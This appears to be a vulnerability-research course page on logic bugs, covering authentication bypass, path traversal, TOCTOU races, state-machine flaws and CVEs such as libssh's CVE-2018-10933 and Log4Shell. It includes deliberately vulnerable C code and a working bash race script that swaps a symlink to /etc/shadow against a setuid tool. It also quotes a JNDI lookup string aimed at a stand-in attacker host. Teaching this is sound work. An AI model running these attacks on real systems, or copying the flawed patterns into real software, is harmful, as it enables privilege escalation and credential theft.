Skip to main content
Be Bitwise

Finding Logic Bugs

Vulnerability Discovery Case Studies · VR Analysis & Discovery track

10 min read

In this module

When the Code Works Perfectly but Reasons Wrongly

Memory corruption gets the most attention, but logic bugs — flaws in a program's reasoning rather than its memory safety — can be equally catastrophic. An authentication bypass gives full access without corrupting a single byte. A race condition in a privilege check grants unauthorised permissions while every memory operation is textbook-correct. Sanitizers don't see them; fuzzers rarely trigger them. But they're among the highest-impact vulnerabilities in practice.

Authentication Bypasses

Authentication bypass vulnerabilities occur when a program's authentication logic can be circumvented, granting access without valid credentials. These are pure logic errors.

Consider a hypothetical authentication check in a network service:

c
int authenticate(connection *conn, char *username, char *password) {
user_record *user = lookup_user(username);
if (user == NULL) {
return AUTH_FAILED; // User not found
}
conn->user = user; // Remember who is trying to log in
if (strcmp(password, user->password_hash) == 0) {
conn->authenticated = 1;
return AUTH_SUCCESS;
}
return AUTH_FAILED;
}

This looks correct on casual inspection. But examine the protocol handler:

c
void handle_message(connection *conn, message *msg) {
switch (msg->type) {
case MSG_AUTH:
authenticate(conn, msg->username, msg->password);
break;
case MSG_COMMAND:
if (conn->authenticated) {
execute_command(conn, msg->command);
}
break;
case MSG_SET_ADMIN:
// BUG: No authentication check!
conn->user->is_admin = 1;
break;
}
}

The MSG_SET_ADMIN handler modifies the user's admin flag without checking conn->authenticated. An attacker can send MSG_AUTH with a real user name and a wrong password (which still sets conn->user to that user's record, because the pointer is stored before the password check), then send MSG_SET_ADMIN to escalate to admin privileges without ever providing a valid password.

This bug requires understanding the interaction between multiple code paths - the authentication function and the message handler. No single function is wrong in isolation; the vulnerability exists in the relationship between them.

Authorisation Flaws

Even after successful authentication, authorisation bugs can allow users to access resources they should not:

c
int handle_file_request(connection *conn, char *path) {
// Check that the user is authenticated
if (!conn->authenticated) return ACCESS_DENIED;
// Check that the path is within the user's directory
char full_path[PATH_MAX];
snprintf(full_path, sizeof(full_path), "/data/users/%s/%s",
conn->user->username, path);
// BUG: path traversal! If path is "../../admin/secrets",
// full_path becomes "/data/users/alice/../../admin/secrets"
// which resolves to "/data/admin/secrets"
return read_file(full_path);
}

The authentication check is correct, but the authorisation is broken: the code does not validate that the constructed path stays within the user's directory. Path traversal with ../ sequences escapes the intended directory.

Finding Logic Bugs

Logic bugs require understanding the developer's intent and finding where the implementation deviates from it. This means reading documentation, understanding the security model, and then systematically checking whether the code enforces every aspect of that model. Ask: "What should be true at this point?" and then verify that the code guarantees it. Where guarantees are missing, vulnerabilities often exist.

Race Conditions in Practice

Race conditions occur when the correctness of code depends on the relative timing of concurrent operations. In vulnerability research, the most common exploitable race conditions are:

TOCTOU in filesystem operations:

c
// Vulnerable: check-then-use with a time gap
int safe_read_config(const char *path) {
struct stat st;
// This runs inside a setuid-root tool. CHECK: the file must be a
// regular file owned by the user who invoked us, not a symlink
if (lstat(path, &st) < 0) return -1;
if (!S_ISREG(st.st_mode)) return -1;
if (st.st_uid != getuid()) return -1;
// USE: open and read the file
// RACE WINDOW: attacker replaces file with symlink HERE
int fd = open(path, O_RDONLY); // Opens attacker's file!
char buf[4096];
read(fd, buf, sizeof(buf));
close(fd);
parse_config(buf);
return 0;
}

Between the lstat() check and the open() call, an attacker can:

  1. Remove their own file, which passed the check
  2. Create a symbolic link at the same path pointing to /etc/shadow
  3. The program opens and reads /etc/shadow (information disclosure)

Or worse, if the program writes to the file:

  1. Replace the file with a symlink to /etc/crontab
  2. The program writes attacker-controlled data to the crontab (code execution as root)

Exploiting TOCTOU in practice:

bash
# Race condition exploit script, run in a directory the attacker owns
mkdir -p ~/race && cd ~/race
echo "safe content" > real # Our own file: passes the check
# Continuously swap the path between our file and a symlink.
# rename(2), which mv uses, replaces "config" atomically, so the
# path always exists and is one or the other.
while true; do
cp real config.new && mv -f config.new config
ln -sf /etc/shadow config.new && mv -f config.new config
done &
# Repeatedly trigger the vulnerable setuid program
while true; do
/usr/local/bin/vulnerable_tool --config ~/race/config
done

The swap stays out of /tmp on purpose. Linux's fs.protected_symlinks (on by default in most distributions) stops root from following a symlink in a sticky, world-writable directory like /tmp when the link belongs to someone else, which kills this attack there. Real exploits also use renameat2() with RENAME_EXCHANGE, which swaps two names in one atomic step and narrows the attacker's own gaps further.

The race is probabilistic - you may need thousands of attempts. But with a tight loop, the race can often be won within seconds.

Logic Errors in State Machines

Programs that implement protocols or complex workflows often use state machines. Logic errors in state transitions can be exploitable:

c
enum state { STATE_INIT, STATE_HANDSHAKE, STATE_AUTHENTICATED, STATE_ADMIN };
void process_message(session *sess, message *msg) {
switch (sess->state) {
case STATE_INIT:
if (msg->type == MSG_HELLO) {
sess->state = STATE_HANDSHAKE;
}
break;
case STATE_HANDSHAKE:
if (msg->type == MSG_AUTH && verify_credentials(msg)) {
sess->state = STATE_AUTHENTICATED;
}
break;
case STATE_AUTHENTICATED:
if (msg->type == MSG_ELEVATE && is_admin(sess->user)) {
sess->state = STATE_ADMIN;
}
// BUG: MSG_HELLO is not rejected in AUTHENTICATED state
if (msg->type == MSG_HELLO) {
sess->state = STATE_HANDSHAKE;
// This resets the session but keeps sess->user set!
}
handle_user_command(sess, msg);
break;
case STATE_ADMIN:
handle_admin_command(sess, msg);
break;
}
}

The bug: in STATE_AUTHENTICATED, sending MSG_HELLO transitions back to STATE_HANDSHAKE, but sess->user remains set from the previous authentication. Any later code that trusts sess->user (to resume a session, say, or to pick per-user settings during the handshake) now acts for a user whose login the protocol has just thrown away. And because handle_user_command runs after the if blocks, the MSG_HELLO itself is also handed to the user command handler, in a state that handler never expected. Both come from the same mistake: nothing in the code says which messages are legal in which state, or what must be cleared on each transition.

State machine bugs are found by:

  1. Drawing the state machine diagram
  2. Checking every possible message in every state
  3. Verifying that unexpected messages are properly rejected
  4. Looking for state transitions that leave behind stale data

Step 2 is the one that caught a real bug in libssh. CVE-2018-10933 (libssh 0.6 up to 0.7.5 and 0.8.3) let a client skip authentication entirely by sending the server SSH2_MSG_USERAUTH_SUCCESS, the message a server sends to say a login worked. libssh shared its packet dispatch table between client and server code, and the handler for that message marked the session authenticated without checking which side it was running on. Draw the server's states and every message it accepts in each one, and the extra edge stands out.

The fix in 0.7.6 and 0.8.4 made the server reject messages that only a server should ever send.

Real-World Examples

CVE-2014-0160 (Heartbleed) - while often described as a buffer over-read, Heartbleed can just as well be read as a logic bug: the code trusted a length field from the TLS Heartbeat request without validating it against the actual payload size. The logic error was: "the sender says the payload is N bytes long, so I will copy N bytes back" without verifying that N bytes were actually received.

CVE-2021-44228 (Log4Shell) - a logic bug in Apache Log4j's lookup feature. Log4j would resolve JNDI references in log messages, meaning that logging attacker-controlled strings like ${jndi:ldap://evil.com/a} would cause the server to connect to the attacker's LDAP server and execute arbitrary code. The logic error was treating log message content as executable lookup expressions.

These examples show that logic bugs can cause catastrophic impact. Memory safety is necessary but not sufficient — you also need to reason correctly about security properties, and that's a harder problem to automate.

Defence Against Logic Bugs

The best defence against logic bugs is explicit, centralized security checks rather than implicit, distributed ones. Instead of checking authentication in every handler (and hoping none are missed), implement a dispatcher that rejects unauthenticated requests before they reach any handler. Instead of checking file paths in every file operation, use a single validated path resolution function. Centralized enforcement makes it harder to forget a check.